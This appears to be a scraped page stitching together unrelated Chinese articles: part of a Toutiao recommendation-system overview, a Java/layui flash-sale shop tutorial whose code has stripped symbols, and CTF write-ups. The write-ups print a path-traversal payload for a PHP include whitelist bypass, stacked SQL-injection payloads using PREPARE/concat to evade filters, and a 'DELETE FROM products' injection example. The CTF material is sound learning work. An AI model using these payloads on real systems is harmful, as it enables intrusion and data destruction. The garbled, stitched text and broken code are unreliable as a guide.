上图是头条语义标签的特征和使用场景。他们之间层级不同,要求不同。 分类的目标是覆盖全面,希望每篇内容每段视频都有分类;而实体体系要求精准,相同名字或内容要能明确区分究竟指代哪一个人或物,但不用覆盖很全。 概念体系则负责解决比较精确又属于抽象概念的语义。这是我们最初的分类,实践中发现分类和概念在技术上能互用,后来统一用了一套技术架构。 目前,隐式语义特征已经可以很好的帮助推荐,而语义标签需要持续标注,新名词新概念不断出现,标注也要不断迭代。其做好的难度和资源投入要远大于隐式语义特征,那为什么还需要语义标签? 有一些产品上的需要,比如频道需要有明确定义的分类内容和容易理解的文本标签体系。语义标签的效果是检查一个公司NLP技术水平的试金石。 今日头条推荐系统的线上分类采用典型的层次化文本分类算法。 最上面Root,下面第一层的分类是像科技、体育、财经、娱乐,体育这样的大类,再下面细分足球、篮球、乒乓球、网球、田径、游泳…,足球再细分国际足球、中国足球,中国足球又细分中甲、中超、国家队…,相比单独的分类器,利用层次化文本分类算法能更好地解决数据倾斜的问题。 有一些例外是,如果要提高召回,可以看到我们连接了一些飞线。这套架构通用,但根据不同的问题难度,每个元分类器可以异构,像有些分类SVM效果很好,有些要结合CNN,有些要结合RNN再处理一下。 上图是一个实体词识别算法的case。基于分词结果和词性标注选取候选,期间可能需要根据知识库做一些拼接,有些实体是几个词的组合,要确定哪几个词结合在一起能映射实体的描述。 如果结果映射多个实体还要通过词向量、topic分布甚至词频本身等去歧,最后计算一个相关性模型。 三、用户标签 内容分析和用户标签是推荐系统的两大基石。内容分析涉及到机器学习的内容多一些,相比而言,用户标签工程挑战更大。 今日头条常用的用户标签包括用户感兴趣的类别和主题、关键词、来源、基于兴趣的用户聚类以及各种垂直兴趣特征(车型,体育球队,股票等)。还有性别、年龄、地点等信息。 性别信息通过用户第三方社交账号登录得到。年龄信息通常由模型预测,通过机型、阅读时间分布等预估。 常驻地点来自用户授权访问位置信息,在位置信息的基础上通过传统聚类的方法拿到常驻点。 常驻点结合其他信息,可以推测用户的工作地点、出差地点、旅游地点。这些用户标签非常有助于推荐。 当然最简单的用户标签是浏览过的内容标签。但这里涉及到一些数据处理策略。 主要包括: 一、过滤噪声。通过停留时间短的点击,过滤标题党。 二、热点惩罚。对用户在一些热门文章(如前段时间PG One的新闻)上的动作做降权处理。理论上,传播范围较大的内容,置信度会下降。 三、时间衰减。用户兴趣会发生偏移,因此策略更偏向新的用户行为。因此,随着用户动作的增加,老的特征权重会随时间衰减,新动作贡献的特征权重会更大。 四、惩罚展现。如果一篇推荐给用户的文章没有被点击,相关特征(类别,关键词,来源)权重会被惩罚。当 然同时,也要考虑全局背景,是不是相关内容推送比较多,以及相关的关闭和dislike信号等。 用户标签挖掘总体比较简单,主要还是刚刚提到的工程挑战。头条用户标签第一版是批量计算框架,流程比较简单,每天抽取昨天的日活用户过去两个月的动作数据,在Hadoop集群上批量计算结果。 但问题在于,随着用户高速增长,兴趣模型种类和其他批量处理任务都在增加,涉及到的计算量太大。 2014年,批量处理任务几百万用户标签更新的Hadoop任务,当天完成已经开始勉强。集群计算资源紧张很容易影响其它工作,集中写入分布式存储系统的压力也开始增大,并且用户兴趣标签更新延迟越来越高。 面对这些挑战。2014年底今日头条上线了用户标签Storm集群流式计算系统。改成流式之后,只要有用户动作更新就更新标签,CPU代价比较小,可以节省80%的CPU时间,大大降低了计算资源开销。 同时,只需几十台机器就可以支撑每天数千万用户的兴趣模型更新,并且特征更新速度非常快,基本可以做到准实时。这套系统从上线一直使用至今。 当然,我们也发现并非所有用户标签都需要流式系统。像用户的性别、年龄、常驻地点这些信息,不需要实时重复计算,就仍然保留daily更新。 四、评估分析 上面介绍了推荐系统的整体架构,那么如何评估推荐效果好不好? 有一句我认为非常有智慧的话,“一个事情没法评估就没法优化”。对推荐系统也是一样。 事实上,很多因素都会影响推荐效果。比如侯选集合变化,召回模块的改进或增加,推荐特征的增加,模型架构的改进在,算法参数的优化等等,不一一举例。 评估的意义就在于,很多优化最终可能是负向效果,并不是优化上线后效果就会改进。 全面的评估推荐系统,需要完备的评估体系、强大的实验平台以及易用的经验分析工具。 所谓完备的体系就是并非单一指标衡量,不能只看点击率或者停留时长等,需要综合评估。 很多公司算法做的不好,并非是工程师能力不够,而是需要一个强大的实验平台,还有便捷的实验分析工具,可以智能分析数据指标的置信度。 一个良好的评估体系建立需要遵循几个原则,首先是兼顾短期指标与长期指标。我在之前公司负责电商方向的时候观察到,很多策略调整短期内用户觉得新鲜,但是长期看其实没有任何助益。 其次,要兼顾用户指标和生态指标。既要为内容创作者提供价值,让他更有尊严的创作,也有义务满足用户,这两者要平衡。 还有广告主利益也要考虑,这是多方博弈和平衡的过程。 另外,要注意协同效应的影响。实验中严格的流量隔离很难做到,要注意外部效应。 强大的实验平台非常直接的优点是,当同时在线的实验比较多时,可以由平台自动分配流量,无需人工沟通,并且实验结束流量立即回收,提高管理效率。 这能帮助公司降低分析成本,加快算法迭代效应,使整个系统的算法优化工作能够快速往前推进。 这是头条A/B Test实验系统的基本原理。首先我们会做在离线状态下做好用户分桶,然后线上分配实验流量,将桶里用户打上标签,分给实验组。 举个例子,开一个10%流量的实验,两个实验组各5%,一个5%是基线,策略和线上大盘一样,另外一个是新的策略。 实验过程中用户动作会被搜集,基本上是准实时,每小时都可以看到。但因为小时数据有波动,通常是以天为时间节点来看。动作搜集后会有日志处理、分布式统计、写入数据库,非常便捷。 在这个系统下工程师只需要设置流量需求、实验时间、定义特殊过滤条件,自定义实验组ID。系统可以自动生成:实验数据对比、实验数据置信度、实验结论总结以及实验优化建议。 当然,只有实验平台是远远不够的。线上实验平台只能通过数据指标变化推测用户体验的变化,但数据指标和用户体验存在差异,很多指标不能完全量化。 很多改进仍然要通过人工分析,重大改进需要人工评估二次确认。 五、内容安全 最后要介绍今日头条在内容安全上的一些举措。头条现在已经是国内最大的内容创作与分发凭条,必须越来越重视社会责任和行业领导者的责任。如果1%的推荐内容出现问题,就会产生较大的影响。 现在,今日头条的内容主要来源于两部分,一是具有成熟内容生产能力的PGC平台 一是UGC用户内容,如问答、用户评论、微头条。这两部分内容需要通过统一的审核机制。如果是数量相对少的PGC内容,会直接进行风险审核,没有问题会大范围推荐。 UGC内容需要经过一个风险模型的过滤,有问题的会进入二次风险审核。审核通过后,内容会被真正进行推荐。这时如果收到一定量以上的评论或者举报负向反馈,还会再回到复审环节,有问题直接下架。 整个机制相对而言比较健全,作为行业领先者,在内容安全上,今日头条一直用最高的标准要求自己。 分享内容识别技术主要鉴黄模型,谩骂模型以及低俗模型。今日头条的低俗模型通过深度学习算法训练,样本库非常大,图片、文本同时分析。 这部分模型更注重召回率,准确率甚至可以牺牲一些。谩骂模型的样本库同样超过百万,召回率高达95%+,准确率80%+。如果用户经常出言不讳或者不当的评论,我们有一些惩罚机制。 泛低质识别涉及的情况非常多,像假新闻、黑稿、题文不符、标题党、内容质量低等等,这部分内容由机器理解是非常难的,需要大量反馈信息,包括其他样本信息比对。 目前低质模型的准确率和召回率都不是特别高,还需要结合人工复审,将阈值提高。目前最终的召回已达到95%,这部分其实还有非常多的工作可以做。别平台。 如果需要机器学习视频,可以在公众号后台聊天框回复【机器学习】,可以免费获取编程视频 。 你可能还喜欢 数学在机器学习中到底有多重要? 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2024-01-13 09:21:23
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...ight: 500,url: '/seckillGoods/queryAll' //数据接口,parseData(res){ //res 即为原始返回的数据return {"code": res.code===200?0:1, //解析接口状态"msg": res.message, //解析提示文本"count": res.total, //解析数据长度"data": res.data //解析数据列表};},cols: [[ //表头{field: 'id', title: '秒杀商品编号', width:80, sort: true},{field: 'goodsId', title: '商品名字id'},{field: 'seckillPrice', title: '秒杀价格'},{field: 'stockCount', title: '秒杀库存'},{field: 'startDate', title: '活动开始时间'},{field: 'endDate', title: '活动结束时间'},{field: 'goodsName', title: '商品名称'}]]}); 呈现界面: 二、秒杀商品添加 1、后端:接收前端添加秒杀商品的数据 ①、实体类vo:SeckillGoodsVo private List<Map<String,Object>> goods; 修改实体类时间的类型:SeckillGoods @ApiModelProperty("秒杀开始时间")@TableField("start_date")@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")private Timestamp startDate;@ApiModelProperty("秒杀结束时间")@TableField("end_date")@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")private Timestamp endDate; ②、mapper层:SeckillGoodsMapper int addGoods(SeckillGoodsVo seckillGoodsVo); ③、mapper.xml层:SeckillGoodsMapper 批量插入秒杀商品的sql语句: <insert id="addGoods">insert into t_seckill_goods(goods_id, seckill_price, stock_count, start_date, end_date)values<foreach collection="goods" item="g" separator=",">({g.gid},{g.goodsPrice},{g.goodsStock},{startDate},{endDate})</foreach></insert> ④、service层 ISeckillGoodsService: ResponseResult<List<SeckillGoodsVo>> addGoods(SeckillGoodsVo seckillGoodsVo); SeckillGoodsServiceImpl: @Overridepublic ResponseResult<List<SeckillGoodsVo>> addGoods(SeckillGoodsVo seckillGoodsVo) {int goods=seckillGoodsMapper.addGoods(seckillGoodsVo);return ResponseResult.success(goods);} ⑤、controller层 @RequestMapping("/add")public ResponseResult<List<SeckillGoodsVo>> add(@RequestBody SeckillGoodsVo seckillGoodsVo){return seckillGoodsService.addGoods(seckillGoodsVo);} 2、前端 ①、定义数据与刷新、添加 goodsList.js: var layer,row,seckill_table// 添加秒杀商品$("seckill_add").click(()=>{layer.open({type:2,content: '/goods/SeckillGoodsOperate',area: ['800px','600px']})})// 秒杀商品刷新var seckill_reload = ()=> {seckill_table.reload({page:{curr:1 //current} });} var layer,row,seckill_tablelayui.define(()=>{let table=layui.tablelayer=layui.layerlet $=layui.jquerylet normal_table=table.render({elem: 'normal_goods',height: 500,url: '/goods/queryAll' //数据接口,page: true //开启分页,parseData(res){ //res 即为原始返回的数据return {"code": res.code===200?0:1, //解析接口状态"msg": res.message, //解析提示文本"count": res.total, //解析数据长度"data": res.data //解析数据列表};},//用于对分页请求的参数:page、limit重新设定名称request: {pageName: 'page' //页码的参数名称,默认:page,limitName: 'rows' //每页数据量的参数名,默认:limit},cols: [[ //表头{field: 'gid', title: '商品编号', width:80, sort: true, fixed: 'left'},{field: 'goodsName', title: '商品名字'},{field: 'goodsTitle', title: '商品标题'},{field: 'goodsImg',title: '商品图片',width:200,templet: (goods) => <b onmouseover='showImg("${goods.goodsImg}",this)'> + goods.goodsImg + </b> },{field: 'goodsDetail', title: '商品详情'},{field: 'goodsPrice', title: '商品价格', sort: true},{field: 'goodsStock', title: '商品库存', sort: true},{field: 'operate', title: '商品操作',toolbar: 'button_1'}]]});// 刷新表格let reloadTable=()=>{let goodsName=$("normal_value").val()// 【JS】自动化渲染的重载,重载表格normal_table.reload({where: {//设定异步数据接口的额外参数,height: 300goodsName},page:{curr:1 //current} });}// 搜索$("normal_search").click(reloadTable)// 增加$("normal_add").click(()=>{row = nullopenDialog()})//工具条事件table.on('tool(normal_goods)', function(obj) { //注:tool 是工具条事件名,test 是 table 原始容器的属性 lay-filter="对应的值"let data = obj.data; //获得当前行数据let layEvent = obj.event; //获得 lay-event 对应的值(也可以是表头的 event 参数对应的值)let tr = obj.tr; //获得当前行 tr 的 DOM 对象(如果有的话)if (layEvent === 'normal_del') { //删除row = data//获得当前行的数据let url="/goods/del/"+data.gidlayer.confirm('确定删除吗?',{title:'删除'}, function(index){//向服务端发送删除指令og$.getJSON(url,{gid:data.gid}, function(ret){layer.close(index);//关闭弹窗reloadTable()});layer.close(index);//关闭弹窗});}if (layEvent === 'normal_edit') { //编辑row = dataopenDialog()} })// 页面弹出let openDialog=()=>{// 如果是iframe层layer.open({type: 2,content: '/goods/goodsOperate', //这里content是一个URL,如果你不想让iframe出现滚动条,你还可以content: ['http://sentsin.com', 'no']area:['800px','600px'],btn: ['确定','取消'],yes(index,layero){let url="/goods/insert"// 拿到表格数据let data=$(layero).find("iframe")[0].contentWindow.getFormData()if(row) {url="/goods/edit"}$.ajax({url,data,datatype: "json",success(res){layer.closeAll()reloadTable()layer.msg(res.message)} })} });}// -------------------------秒杀商品-------------------------------------------seckill_table=table.render({elem: 'seckill_goods',height: 500,url: '/seckillGoods/queryAll' //数据接口,parseData(res){ //res 即为原始返回的数据return {"code": res.code===200?0:1, //解析接口状态"msg": res.message, //解析提示文本"count": res.total, //解析数据长度"data": res.data //解析数据列表};},cols: [[ //表头{field: 'id', title: '秒杀商品编号', width:80, sort: true},{field: 'goodsId', title: '商品名字id'},{field: 'seckillPrice', title: '秒杀价格'},{field: 'stockCount', title: '秒杀库存'},{field: 'startDate', title: '活动开始时间'},{field: 'endDate', title: '活动结束时间'},{field: 'goodsName', title: '商品名称'}]]});// 添加秒杀商品$("seckill_add").click(()=>{layer.open({type:2,content: '/goods/SeckillGoodsOperate',area: ['800px','600px']})})})// 图片显示let showImg = (src,obj)=> {layer.tips(<img src="${src}" width="100px">, obj);}// 秒杀商品刷新var seckill_reload = ()=> {seckill_table.reload({page:{curr:1 //current} });} ②、增加秒杀商品弹出页面样式 <!DOCTYPE html><html lang="en"><head><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link rel="stylesheet" href="/static/asset/js/layui/css/layui.css" media="all"></head><body><div style="padding:15px 0px;"><div class="layui-condition"><form id="fm" name="fm" action="/" method="post" class="layui-form"><div class="layui-form-item"><div class="layui-inline"><label class="layui-form-label" style="width: 100px;text-align: left;">秒杀活动时间:</label><div class="layui-input-inline" style="width:280px;"><input type="text" class="layui-input" id="dt"></div><div class="layui-input-inline"><button class="layui-btn" id="btn_save" type="button"><i class="fa fa-search fa-right"></i>保 存</button></div></div></div></form></div><div class="layui-fluid" style="margin-top:-18px;"><table id="tb_goods" class="layui-table" lay-filter="tb_goods" style="margin-top:-5px;"></table></div></div><script src="/static/asset/js/layui/layui.js"></script><script src="/static/asset/js/project/seckillGoodsOperate.js"></script></body></html> ③、实现增加秒杀商品 seckillGoodsOperate.js: layui.define(()=>{let table=layui.tablelet laydate = layui.laydatelet $=layui.jquerylet layer=layui.layer// 读取普通商品table.render({elem: 'tb_goods',height: 500,url: '/goods/queryAll' //数据接口,page: true //开启分页,parseData(res){ //res 即为原始返回的数据return {"code": res.code===200?0:1, //解析接口状态"msg": res.message, //解析提示文本"count": res.total, //解析数据长度"data": res.data //解析数据列表};},//用于对分页请求的参数:page、limit重新设定名称request: {pageName: 'page' //页码的参数名称,默认:page,limitName: 'rows' //每页数据量的参数名,默认:limit},cols: [[ //表头// 全选按钮{field: '', type:"checkbox"},{field: 'gid', title: '商品编号', width:80},{field: 'goodsName', title: '商品名字'},{field: 'goodsTitle', title: '商品标题'},{field: 'goodsDetail', title: '商品详情'},{field: 'goodsPrice', title: '商品价格', sort: true},{field: 'goodsStock', title: '商品库存', sort: true}]]});// 构建时间选择器//执行一个laydate实例laydate.render({elem: 'dt', //指定元素type: "datetime",range: "~"});$("btn_save").click(()=>{// 获取时间let val=$("dt").val()if(!val){layer.msg("请选择时间")return}// 解析时间2022-2-2 ~2022-5-2let startDate=new Date(val.split("~")[0]).getTime()let endDate=new Date(val.split("~")[1]).getTime()// 获得选中的普通商品,获取选中行的数据let rows= table.checkStatus('tb_goods').data; //idTest 即为基础参数 id 对应的值if(!rows||rows.length===0){layer.msg("请选择数据")return}layer.prompt(function(value, index, elem){// 修改每个商品的数量rows.forEach(e=>{e.goodsStock=value})let data={startDate,endDate,goods:rows}// 访问后台的秒杀商品的接口$.ajax({url: "/seckillGoods/add",contentType:'application/json',data: JSON.stringify(data),datatype:"json",//返回类型type:"post",success(res){parent.seckill_reload()layer.closeAll()parent.layer.closeAll()layer.msg(res.message)} })});})}) ④、展示结果 增加成功: 三、秒杀商品的操作 1、后端操作秒杀单个商品详情 ①、mapper层 SeckillGoodsMapper: Map<String,Object> querySeckillGoodsById(Long id); mapper.xml文件:SeckillGoodsMapper.xml <select id="querySeckillGoodsById" resultType="map">select sg.id,sg.goods_id,sg.seckill_price,sg.stock_count,sg.start_date,sg.end_date,g.goods_img,g.goods_title,g.goods_detail,g.goods_name,(casewhen current_timestamp < sg.start_date then 0when (current_timestamp between sg.start_date and sg.end_date) then 1when current_timestamp > sg.end_date then 2end) goods_statusfrom t_goods g,t_seckill_goods sgwhere g.gid = sg.goods_idand sg.id = {0}</select> ②、service层 ISeckillGoodsService: Map<String,Object> querySeckillGoodsById(Long id); SeckillGoodsServiceImpl: @Overridepublic Map<String, Object> querySeckillGoodsById(Long id) {return seckillGoodsMapper.querySeckillGoodsById(id);} ③、controller层:SeckillGoodsController package com.example.seckill.controller;import com.example.seckill.service.ISeckillGoodsService;import com.example.seckill.util.response.ResponseResult;import com.example.seckill.vo.SeckillGoodsVo;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.;import org.springframework.web.servlet.ModelAndView;import java.util.List;/ <p> 秒杀商品信息表 前端控制器 </p> @author lv @since 2022-03-19/@Controller@RequestMapping("/seckillGoods")public class SeckillGoodsController {@Autowiredprivate ISeckillGoodsService seckillGoodsService;// 返回json@ResponseBody@RequestMapping("/queryAll")public ResponseResult<List<SeckillGoodsVo>> queryAll(){return seckillGoodsService.queryAll();}@ResponseBody@RequestMapping("/add")public ResponseResult<List<SeckillGoodsVo>> add(@RequestBody SeckillGoodsVo seckillGoodsVo){return seckillGoodsService.addGoods(seckillGoodsVo);}// 正常跳转界面@RequestMapping("/query/{id}")public ModelAndView querySeckillGoodsById(@PathVariable("id") Long id) {ModelAndView mv = new ModelAndView("/goods/goodsSeckill");mv.addObject("goods", seckillGoodsService.querySeckillGoodsById(id));return mv;} } 2、前端展示 ①、在goodsList.js增加列的操作 {field: '', title: '操作', width: 140,templet: function (d) {return <div><a class="layui-btn layui-btn-xs layui-btn-danger">删除</a><a href="/seckillGoods/query/${d.id}" class="layui-btn layui-btn-xs layui-btn-normal">秒杀</a></div>;} } ②、添加秒杀详情界面 :goodsSkill.ftl <!DOCTYPE html><html lang="en"><head><include "../common/head.ftl"/></head><body><table style="position: absolute;top:-10px;" class="layui-table" border="1" cellpadding="0" cellspacing="0"><tr><td style="width:120px;">商品图片</td><td><img src="${goods['goods_img']}" alt=""></td></tr><tr><td>商品名称</td><td>${goods['goods_name']}</td></tr><tr><td>商品标题</td><td>${goods['goods_title']}</td></tr><tr><td>商品价格</td><td>${goods['seckill_price']}</td></tr><tr><td>开始时间</td><td><div style="position: relative;${(goods['goods_status']==1)?string('top:10px;','')}">${goods['start_date']?string("yyyy-MM-dd HH:mm:ss")}-${goods['end_date']?string("yyyy-MM-dd HH:mm:ss")}<if goods['goods_status']==0>活动未开始<elseif goods['goods_status']==1>活动热卖中<div style="position:relative;top:-10px;float:right;"><input type="hidden" id="goodsId" value="${goods['goods_id']}" name="goodsId"/><button class="layui-btn" id="buy">立即抢购</button></div><else>活动已结束</if></div></td></tr></table><script src="/static/asset/js/project/goodsSeckill.js"></script></body></html> ③、实现:goodsSkill.js let layer, form, $;layui.define(() => {layer = layui.layerform = layui.form$ = layui.jquery$('buy').click(() => {$.ajax({url: '/seckillOrder/addOrder',data: {goodsId: $('goodsId').val()},dataType: 'json',type: 'post',async: false,success: function (rs) {if (rs.code === 200)layer.msg(rs.message)elselayer.msg(rs.message)} })});}) ④、展示效果 点击秒杀: 3、后端操作秒杀抢购功能 ①、导入雪花id工具包:SnowFlake package com.example.seckill.util;@SuppressWarnings("all")public class SnowFlake {/ 起始的时间戳/private final static long START_STMP = 1480166465631L;/ 每一部分占用的位数/private final static long SEQUENCE_BIT = 12; //序列号占用的位数private final static long MACHINE_BIT = 5; //机器标识占用的位数private final static long DATACENTER_BIT = 5;//数据中心占用的位数/ 每一部分的最大值/private final static long MAX_DATACENTER_NUM = -1L ^ (-1L << DATACENTER_BIT);private final static long MAX_MACHINE_NUM = -1L ^ (-1L << MACHINE_BIT);private final static long MAX_SEQUENCE = -1L ^ (-1L << SEQUENCE_BIT);/ 每一部分向左的位移/private final static long MACHINE_LEFT = SEQUENCE_BIT;private final static long DATACENTER_LEFT = SEQUENCE_BIT + MACHINE_BIT;private final static long TIMESTMP_LEFT = DATACENTER_LEFT + DATACENTER_BIT;private long datacenterId; //数据中心private long machineId; //机器标识private long sequence = 0L; //序列号private long lastStmp = -1L;//上一次时间戳public SnowFlake(long datacenterId, long machineId) {if (datacenterId > MAX_DATACENTER_NUM || datacenterId < 0) {throw new IllegalArgumentException("datacenterId can't be greater than MAX_DATACENTER_NUM or less than 0");}if (machineId > MAX_MACHINE_NUM || machineId < 0) {throw new IllegalArgumentException("machineId can't be greater than MAX_MACHINE_NUM or less than 0");}this.datacenterId = datacenterId;this.machineId = machineId;}public static void main(String[] args) {SnowFlake snowFlake = new SnowFlake(2, 3);long start = System.currentTimeMillis();for (int i = 0; i < 1000000; i++) {System.out.println(snowFlake.nextId());}System.out.println(System.currentTimeMillis() - start);}/ 产生下一个ID @return/public synchronized long nextId() {long currStmp = getNewstmp();if (currStmp < lastStmp) {throw new RuntimeException("Clock moved backwards. Refusing to generate id");}if (currStmp == lastStmp) {//相同毫秒内,序列号自增sequence = (sequence + 1) & MAX_SEQUENCE;//同一毫秒的序列数已经达到最大if (sequence == 0L) {currStmp = getNextMill();} } else {//不同毫秒内,序列号置为0sequence = 0L;}lastStmp = currStmp;return (currStmp - START_STMP) << TIMESTMP_LEFT //时间戳部分| datacenterId << DATACENTER_LEFT //数据中心部分| machineId << MACHINE_LEFT //机器标识部分| sequence; //序列号部分}private long getNextMill() {long mill = getNewstmp();while (mill <= lastStmp) {mill = getNewstmp();}return mill;}private long getNewstmp() {return System.currentTimeMillis();} } ②、service层 ISeckillOrderService : package com.example.seckill.service;import com.example.seckill.pojo.SeckillOrder;import com.baomidou.mybatisplus.extension.service.IService;import com.example.seckill.pojo.User;import com.example.seckill.util.response.ResponseResult;/ <p> 秒杀订单信息表 服务类 </p> @author lv @since 2022-03-19/public interface ISeckillOrderService extends IService<SeckillOrder> {ResponseResult<?> addOrder(Long goodsId, User user);} SeckillOrderServiceImpl : package com.example.seckill.service.impl;import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper;import com.example.seckill.exception.BusinessException;import com.example.seckill.mapper.GoodsMapper;import com.example.seckill.mapper.OrderMapper;import com.example.seckill.mapper.SeckillGoodsMapper;import com.example.seckill.pojo.;import com.example.seckill.mapper.SeckillOrderMapper;import com.example.seckill.service.ISeckillOrderService;import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;import com.example.seckill.util.SnowFlake;import com.example.seckill.util.response.ResponseResult;import com.example.seckill.util.response.ResponseResultCode;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Service;import org.springframework.transaction.annotation.Transactional;/ <p> 秒杀订单信息表 服务实现类 </p> @author lv @since 2022-03-19/@Servicepublic class SeckillOrderServiceImpl extends ServiceImpl<SeckillOrderMapper, SeckillOrder> implements ISeckillOrderService {@Autowiredprivate SeckillGoodsMapper seckillGoodsMapper;@Autowiredprivate GoodsMapper goodsMapper;@Autowiredprivate OrderMapper orderMapper;@Transactional(rollbackFor = Exception.class)@Overridepublic ResponseResult<?> addOrder(Long goodsId, User user) {// 下单前判断库存数SeckillGoods goods = seckillGoodsMapper.selectOne(new QueryWrapper<SeckillGoods>().eq("goods_id", goodsId));if (goods == null) {throw new BusinessException(ResponseResultCode.SECKILL_ORDER_ERROR);}if (goods.getStockCount() < 1) {throw new BusinessException(ResponseResultCode.SECKILL_ORDER_ERROR);}// 限购SeckillOrder one = this.getOne(new QueryWrapper<SeckillOrder>().eq("user_id", user.getId()).eq("goods_id", goodsId));if (one != null) {throw new BusinessException(ResponseResultCode.SECKILL_ORDER_EXISTS_ERROR);}// 库存减一int i = seckillGoodsMapper.update(null, new UpdateWrapper<SeckillGoods>().eq("goods_id", goodsId).setSql("stock_count=stock_count-1"));// 根据商品编号查询对应的商品(拿名字)Goods goodsInfo = goodsMapper.selectOne(new QueryWrapper<Goods>().eq("gid", goodsId));// 生成订单//生成雪花idSnowFlake snowFlake = new SnowFlake(5, 9);long id = snowFlake.nextId();//生成对应的订单Order normalOrder = new Order();normalOrder.setOid(id);normalOrder.setUserId(user.getId());normalOrder.setGoodsId(goodsId);normalOrder.setGoodsName(goodsInfo.getGoodsName());normalOrder.setGoodsCount(1);normalOrder.setGoodsPrice(goods.getSeckillPrice());orderMapper.insert(normalOrder);//生成秒杀订单SeckillOrder seckillOrder = new SeckillOrder();seckillOrder.setUserId(user.getId());seckillOrder.setOrderId(normalOrder.getOid());seckillOrder.setGoodsId(goodsId);this.save(seckillOrder);return ResponseResult.success();} } ③、controller层 SeckillOrderController : package com.example.seckill.controller;import com.example.seckill.pojo.User;import com.example.seckill.service.ISeckillOrderService;import com.example.seckill.util.response.ResponseResult;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;/ <p> 秒杀订单信息表 前端控制器 </p> @author lv @since 2022-03-19/@RestController@RequestMapping("/seckillOrder")public class SeckillOrderController {@Autowiredprivate ISeckillOrderService seckillOrderService;@RequestMapping("/addOrder")public ResponseResult<?> addOrder(Long goodsId, User user){return seckillOrderService.addOrder(goodsId,user);} } ④、呈现结果 限购次数: 本期内容结束,下期内容更完善!!!!!!!!!!!!!!!!!!!!!1 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_60389087/article/details/123601288。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-25 23:20:34
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...}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 这里白名单里给了一个提示 尝试直接去访问它 报错了… 尝试穿越目录去访问 依然报错了 看源码吧 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//这里是提供了两个白名单if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr( //返回中文字符串的一部分$page,0,mb_strpos($page . '?', '?') //我们输入flag 但其实它在你的字符串后面加了一个问号,然后返回问号的位置,就是=4//所以想绕过这里,直接?flag,他检测到的问号就是0,然后0,0没有执行 就绕过了);if (in_array($_page, $whitelist)) { //检测是不是在白名单/hint.php?flag 进行绕过 进行目录穿越就可以了return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }//上面是定义了一个类if (! empty($_REQUEST['file']) //如果变量不存在的话,empty()并不会产生警告。 && is_string($_REQUEST['file']) //必须是字符串&& emmm::checkFile($_REQUEST['file']) //上面的那个类) {include $_REQUEST['file']; //就包含这个文件 参数也就是fileexit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 所以 最后就是 这样 ?file=hint.php?../../../../../../../../ffffllllaaaagggg 就得到了flag flag{acbbba26-c81b-4603-bcb7-25f78adeab18} [强网杯 2019]随便注 进入题目链接 1.输入:1' 查看注入类型 所以他的sql语句是单引号过滤 2.查看字段 (为2) 1' order by 2 3.显示回显 1' union select 1,2 相当于告诉了我们它的过滤 尝试用堆叠查询试试了 4.查库 1;show database(); 5.查表 1';show tables; 所以是有两个表 1919810931114514 words 6.查列 1';show columns from words; 表名words需要被 这个符号包起来,这个符号是 esc下面一个的按键,这个符号在mysql里 用于 分割其他命令,表示此为(表名、字段名) 1';show columns from 1919810931114514; 看到flag了!!! 那么如何查询到数据呢? select 函数被过滤了,其实mysql的函数有很多 这里通过 MYSQL的预处理语句,使用 : concat('s','elect',' from 1919810931114514') 完成绕过 构造pyload: 1';PREPARE test from concat('s','elect',' from 1919810931114514');EXECUTE test; flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81} [SUCTF 2019]EasySQL 环境我已经启动了 进入题目链接 老套路 先看看源码里面有什么东西 不出意料的什么都没有 但是提示我们它是POST传参 这是一道SQL注入的题目 不管输入什么数字,字母 都是这的 没有回显 但是输入:0没有回显 不知道为啥 而且输入:1' 也不报错 同样是没有回显 尝试注入时 显示Nonono. 也就是说,没有回显,联合查询基本没戏。 好在页面会进行相应的变化,证明注入漏洞肯定是有的。 而且注入点就是这个POST参数框 看了大佬的WP 才想起来 还有堆叠注入 堆叠注入原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 1;show databases; 1;show tables; 1;use ctf;show tables; 跑字典时 发现了好多的过滤 哭了 没有办法… 看到上面主要是有两中返回,一种是空白,一种是nonono。 在网上查writeup看到 输入1显示:Array ( [0] => 1 )输入a显示:空白输入所有非0数字都显示:Array ( [0] => 1 )输入所有字母(除过滤的关键词外)都显示空白 可以推测题目应该是用了||符号。 推测出题目应该是select $_post[value] || flag from Flag。 这里 